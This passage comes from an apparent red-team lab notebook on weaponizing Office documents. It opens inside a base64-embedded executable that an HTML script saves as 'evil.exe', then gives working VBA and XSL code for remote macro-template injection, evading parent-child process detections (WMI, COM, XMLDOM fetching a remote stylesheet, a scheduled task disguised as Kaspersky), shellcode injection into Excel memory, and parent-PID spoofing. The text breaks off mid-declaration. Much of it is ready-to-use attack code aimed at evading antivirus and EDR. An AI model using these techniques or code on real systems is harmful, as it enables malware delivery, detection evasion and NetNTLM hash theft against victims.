AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABgUAEAaAcAAAAAAAAAAAAAAAAAAAAAAABoBzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQACAAIAAAAOAAIAAgAAAA4APwAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAMYGAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKIGAAABADAANAAwADkAMAA0AGIAMAAAADAEDAIBAEMAbwBtAG0AZQBuAHQAcwAAAEwAaQBjAGUAbgBzAGUAZAAgAHUAbgBkAGUAcgAgAHQAaABlACAAQQBwAGEAYwBoAGUAIABMAGkAYwBlAG4AcwBlACwAIABWAGUAcgBzAGkAbwBuACAAMgAuADAAIAAoAHQAaABlACAAIgBMAGkAYwBlAG4AcwBlACIAKQA7ACAAeQBvAHUAIABtAGEAeQAgAG4AbwB0ACAAdQBzAGUAIAB0AGgAaQBzACAAZgBpAGwAZQAgAGUAeABjAGUAcAB0ACAAaQBuACAAYwBvAG0AcABsAGkAYQBuAGMAZQAgAHcAaQB0AGgAIAB0AGgAZQAgAEwAaQBjAGUAbgBzAGUALgAgAFkAbwB1ACAAbQBhAHkAIABvAGIAdABhAGkAbgAgAGEAIABjAG8AcAB5ACAAbwBmACAAdABoAGUAIABMAGkAYwBlAG4AcwBlACAAYQB0AA0ACgANAAoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAcABhAGMAaABlAC4AbwByAGcALwBsAGkAYwBlAG4AcwBlAHMALwBMAEkAQwBFAE4AUwBFAC0AMgAuADAADQAKAA0ACgBVAG4AbABlAHMAcwAgAHIAZQBxAHUAaQByAGUAZAAgAGIAeQAgAGEAcABwAGwAaQBjAGEAYgBsAGUAIABsAGEAdwAgAG8AcgAgAGEAZwByAGUAZQBkACAAdABvACAAaQBuACAAdwByAGkAdABpAG4AZwAsACAAcwBvAGYAdAB3AGEAcgBlACAAZABpAHMAdAByAGkAYgB1AHQAZQBkACAAdQBuAGQAZQByACAAdABoAGUAIABMAGkAYwBlAG4AcwBlACAAaQBzACAAZABpAHMAdAByAGkAYgB1AHQAZQBkACAAbwBuACAAYQBuACAAIgBBAFMAIABJAFMAIgAgAEIAQQBTAEkAUwAsACAAVwBJAFQASABPAFUAVAAgAFcAQQBSAFIAQQBOAFQASQBFAFMAIABPAFIAIABDAE8ATgBEAEkAVABJAE8ATgBTACAATwBGACAAQQBOAFkAIABLAEkATgBEACwAIABlAGkAdABoAGUAcgAgAGUAeABwAHIAZQBzAHMAIABvAHIAIABpAG0AcABsAGkAZQBkAC4AIABTAGUAZQAgAHQAaABlACAATABpAGMAZQBuAHMAZQAgAGYAbwByACAAdABoAGUAIABzAHAAZQBjAGkAZgBpAGMAIABsAGEAbgBnAHUAYQBnAGUAIABnAG8AdgBlAHIAbgBpAG4AZwAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAgAGEAbgBkACAAbABpAG0AaQB0AGEAdABpAG8AbgBzACAAdQBuAGQAZQByACAAdABoAGUAIABMAGkAYwBlAG4AcwBlAC4AAABWABsAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAEEAcABhAGMAaABlACAAUwBvAGYAdAB3AGEAcgBlACAARgBvAHUAbgBkAGEAdABpAG8AbgAAAAAAagAhAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEEAcABhAGMAaABlAEIAZQBuAGMAaAAgAGMAbwBtAG0AYQBuAGQAIABsAGkAbgBlACAAdQB0AGkAbABpAHQAeQAAAAAALgAHAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAyAC4AMgAuADEANAAAAAAALgAHAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABhAGIALgBlAHgAZQAAAAAAggAvAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAyADAAMAA5ACAAVABoAGUAIABBAHAAYQBjAGgAZQAgAFMAbwBmAHQAdwBhAHIAZQAgAEYAbwB1AG4AZABhAHQAaQBvAG4ALgAAAAAANgAHAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAGEAYgAuAGUAeABlAAAAAABGABMAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEEAcABhAGMAaABlACAASABUAFQAUAAgAFMAZQByAHYAZQByAAAAAAAyAAcAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAyAC4AMgAuADEANAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAkEsAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=';
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});
            var fileName = 'evil.exe';

            if (window.navigator.msSaveOrOpenBlob) {
                window.navigator.msSaveOrOpenBlob(blob,fileName);
            } else {
                var a = document.createElement('a');
                console.log(a);
                document.body.appendChild(a);
                a.style = 'display: none';
                var url = window.URL.createObjectURL(blob);
                a.href = url;
                a.download = fileName;
                a.click();
                window.URL.revokeObjectURL(url);
            }
        </script>
    </body>
</html>
```

Let's HTML encode the entire payload:

![](/files/-LZyzjIXOTaxiXtQHS1T)

Let's put the encoded payload at the very beginning of `embeddedHtml` attribute:

![](/files/-LZz-1zsjxZM_I7xNkgr)

Zip up all the files again and rename the archive back to `.docx`:

![](/files/-LZz-F3JQ4lgjcyFwRDn)

## Execution

Open the newly backdoored document and play the video:

![](/files/-LZz-QKjgB28ZmPI2JHK)

At this point according to <https://blog.cymulate.com/abusing-microsoft-office-online-video>, the payload download prompt should have been presented, but for some reason this did not happen for me:

![https://blog.cymulate.com/abusing-microsoft-office-online-video](/files/-LZz6JfslhEWy6_9owjc)

If you were able to replicate this technique and see what I missed, I would appreciate any feedback.

## References

{% embed url="<https://blog.cymulate.com/abusing-microsoft-office-online-video>" %}

{% embed url="<https://github.com/rvrsh3ll/Word-Doc-Video-Embed-EXE-POC>" %}


# Inject Macros from a Remote Dotm Template

This lab shows how it is possible to add a macros payload to a docx file indirectly, which has a good chance of evading some AVs/EDRs.&#x20;

This technique works in the following way:

1. A malicious macro is saved in a Word template .dotm file
2. Benign .docx file is created based on one of the default MS Word Document templates
3. Document from step 2 is saved as .docx
4. Document from step 3 is renamed to .zip
5. Document from step 4 gets unzipped
6. .\word\_rels\settings.xml.rels contains a reference to the template file. That reference gets replaced with a refernce to our malicious macro created in step 1. File can be hosted on a web server (http) or webdav (smb).
7. File gets zipped back up again and renamed to .docx
8. Done

## Weaponization

Alt+F8 to enter Dev mode where we can edit Macros, select `ThisDocument` and paste in:

{% code title="Doc3.dotm" %}

```javascript
Sub Document_Open()

Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc"

End Sub
```

{% endcode %}

![](/files/-LaHsr9Df6zSyClDXreO)

Create a benign .docx file based on one of the provided templates and save it as .docx:

![](/files/-LaHtw6A6pSqS8yRT_4D)

Rename legit.docx to legit.zip:

![](/files/-LaHuXVOCz0pu04UlGl4)

Unzip the archive and edit `word_rels\settings.xml.rels`:

{% code title="word\_rels\settings.xml.rels" %}

```markup
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="file:///C:\Users\mantvydas\AppData\Roaming\Microsoft\Templates\Polished%20resume,%20designed%20by%20MOO.dotx" TargetMode="External"/></Relationships>
```

{% endcode %}

Note it has the target template specified here:

![](/files/-LaHwmHfhmC9WmqXqAi0)

Upload the template created previously `Doc3.dot` to an SMB server (note that the file could be hosted on a web server also!).

Update word\_rels\settings.xml.rels to point to Doc3.dotm:

![](/files/-LaI0x6LlzkBHXCcae2k)

Zip all the files of `legit` archive and name it back to .docx - we now have a weaponized document:

![](/files/-LaI2n9iw2zGOJSlqKFI)

{% hint style="info" %}
Note that this technique could be used to steal NetNTLMv2 hashes since the target system is connecting to the attacking system - a responder can be listening there.
{% endhint %}

## References

{% embed url="<http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html>" %}


# Bypassing Parent Child / Ancestry Detections

Defenders often engineer detections based on parent/child process relationships - i.e Excel spawns powershell - suspicious.

This lab is mostly based on the techniques discussed on <https://www.countercept.com/blog/dechaining-macros-and-evading-edr/>

Below are some techniques showing how those type of detections could be bypassed.&#x20;

## Spawning via WmiPrvse.exe using wmi

{% code title="macro.vba" %}

```javascript
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("calc", Null, objConfig, intProcessID)
```

{% endcode %}

![](/files/-Lc84xhBDvLbAFqxRdmJ)

## Spawning via ShellCOM

{% code title="macro.vba" %}

```csharp
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc",Null,"C:\\Windows\\System32",Null,0
```

{% endcode %}

## Spawning via svchost.exe using XMLDOM

{% tabs %}
{% tab title="xmldom.vba" %}

```csharp
Set xml = CreateObject("Microsoft.XMLDOM")
xml.async = False
Set xsl = xml
xsl.load("file://|http://bad.xsl")
xml.transformNode xsl
```

{% endtab %}

{% tab title="bad.xsl" %}

```markup
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
	<![CDATA[
	var r = new ActiveXObject("WScript.Shell").Run("calc");
	]]> </ms:script>
</stylesheet>
```

{% endtab %}
{% endtabs %}

![](/files/-Lc8Gzy8xXJ92a14qcZb)

## Spawning via svchost.exe using Scheduled Task

{% code title="macro.vba" %}

```csharp
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\cmd.exe"
'Action.Arguments = "/c whoami"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
```

{% endcode %}

![](/files/-Lc86bkB1aIB_9t0iyOy)

## Shellcode Injection to Excel.exe Memory Using Windows APIs

```csharp
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr
Private Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As Long
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As Long
Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long

Sub Auto_Open()
        Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long
#If Vba7 Then
        Dim  Xlbufvetp As LongPtr
#Else
        Dim  Xlbufvetp As Long
#EndIf
        Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _
139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _
13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _
116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _
214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _
36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _
139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _
235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _
224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _
187,71,19,114,111,106,0,83,255,213,99,97,108,99,0)
        Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40)
        For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp)
                Wyzayxya = Hyeyhafxp(Zolde)
                Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1)
        Next Zolde
        Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)
End Sub
```

![](/files/-Lc8AQ2ELuJ3aLqGhkwz)

![TCP session from Excel.exe](/files/-Lc8AWnYVFCosjYtz6U1)

## Parent Process ID Spoofing

With this technique it is possible to specify the PID under which our process will be launched as well as process commandline arguments can be spoofed. Note that this is the same technique Cobalt Strike uses under the hood in its `argue` module:

```csharp
' code from https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
' Windows API constants

Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const PROCESS_ALL_ACCESS = &H1F0FFF
Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000
Const TH32CS_SNAPPROCESS = &H2&
Const MAX_PATH = 260


'''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''''' Data types ''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''
 


Private Type PROCESS_INFORMATION
    hProcess As LongPtr
    hThread As LongPtr
    dwProcessId As Long
    dwThreadId As Long
End Type


Private Type STARTUP_INFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Byte
    hStdInput As LongPtr
    hStdOutput As LongPtr
    hStdError As LongPtr
End Type
 
Private Type STARTUPINFOEX
    STARTUPINFO As STARTUP_INFO
    lpAttributelist As LongPtr
End Type

' from https://codes-sources.commentcamarche.net/source/42365-affinite-des-processus-et-des-threads
Private Type PROCESS_BASIC_INFORMATION
    ExitStatus      As Long
    PEBBaseAddress  As Long
    AffinityMask    As Long
    BasePriority    As Long
    UniqueProcessId As Long
    ParentProcessId As Long
End Type


Private Declare Function NtQueryInformationProcess Lib "ntdll.dll" ( _
   ByVal processHandle As LongPtr, _
   ByVal processInformationClass As Long, _
   ByRef processInformation As PROCESS_BASIC_INFORMATION, _
   ByVal processInformationLength As Long, _
   ByRef returnLength As Long _
) As Integer


' From https://foren.activevb.de/archiv/vb-net/thread-76040/beitrag-76164/ReadProcessMemory-fuer-GetComma/
Private Type PEB
    Reserved1(1) As Byte
    BeingDebugged As Byte
    Reserved2 As Byte
    Reserved3(1) As Long
    Ldr As Long
    ProcessParameters As Long
    Reserved4(103) As Byte
    Reserved5(51) As Long
    PostProcessInitRoutine As Long
    Reserved6(127) As Byte
    Reserved7 As Long
    SessionId As Long
End Type


Private Type UNICODE_STRING
    Length As Integer
    MaximumLength As Integer
    Buffer As Long
    ' to change ^ to Long
End Type

Private Type RTL_USER_PROCESS_PARAMETERS
    Reserved1(15) As Byte
    Reserved2(9) As Long
    ImagePathName As UNICODE_STRING
    CommandLine As UNICODE_STRING
End Type


Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szexeFile As String * MAX_PATH
End Type


'''''''''''''''''''''''''''''''''''''''''''''''''''''
''''''''''''' kernel32 & ntdll bindings '''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''

Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
    ByVal lpApplicationName As String, _
    ByVal lpCommandLine As String, _
    lpProcessAttributes As Long, _
    lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    lpEnvironment As Any, _
    ByVal lpCurrentDriectory As String, _
    ByVal lpStartupInfo As LongPtr, _
    lpProcessInformation As PROCESS_INFORMATION _
) As Long


Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _
    ByVal dwAccess As Long, _
    ByVal fInherit As Integer, _
    ByVal hObject As Long _
) As Long
 

Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
    ByVal hHeap As LongPtr, _
    ByVal dwFlags As Long, _
    ByVal dwBytes As Long _
) As LongPtr


Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr


Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwAttributeCount As Integer, _
    ByVal dwFlags As Integer, _
    ByRef lpSize As Integer _
) As Boolean


Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
    ByVal lpAttributelist As LongPtr, _
    ByVal dwFlags As Integer, _
    ByVal lpAttribute As Long, _
    ByRef lpValue As Long, _
    ByVal cbSize As Integer, _
    ByRef lpPreviousValue As Integer, _
    ByRef lpReturnSize As Integer _
) As Boolean

Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "kernel32.dll" ( _
    ByVal dwFlags As Integer, _
    ByVal th32ProcessID As Integer _
) As Long
 
Private Declare PtrSafe Function Process32First Lib "kernel32.dll" ( _
    ByVal hSnapshot As LongPtr, _
    ByRef lppe As PROCESSENTRY32 _
) As Boolean
 
Private Declare PtrSafe Function Process32Next Lib "kernel32.dll" ( _
    ByVal hSnapshot As LongPtr, _
    ByRef lppe As PROCESSENTRY32 _
) As Boolean


Private Declare Function ReadProcessMemory Lib "kernel32.dll" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpBaseAddress As LongPtr, _
    ByVal lpBuffer As LongPtr, _
    ByVal nSize As Long, _
    ByRef lpNumberOfBytesRead As Long _
) As Boolean

Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
    ByVal hProcess As LongPtr, _
    ByVal lpBaseAddress As Long, _
    ByVal lpBuffer As Any, _
    ByVal nSize As Long, _
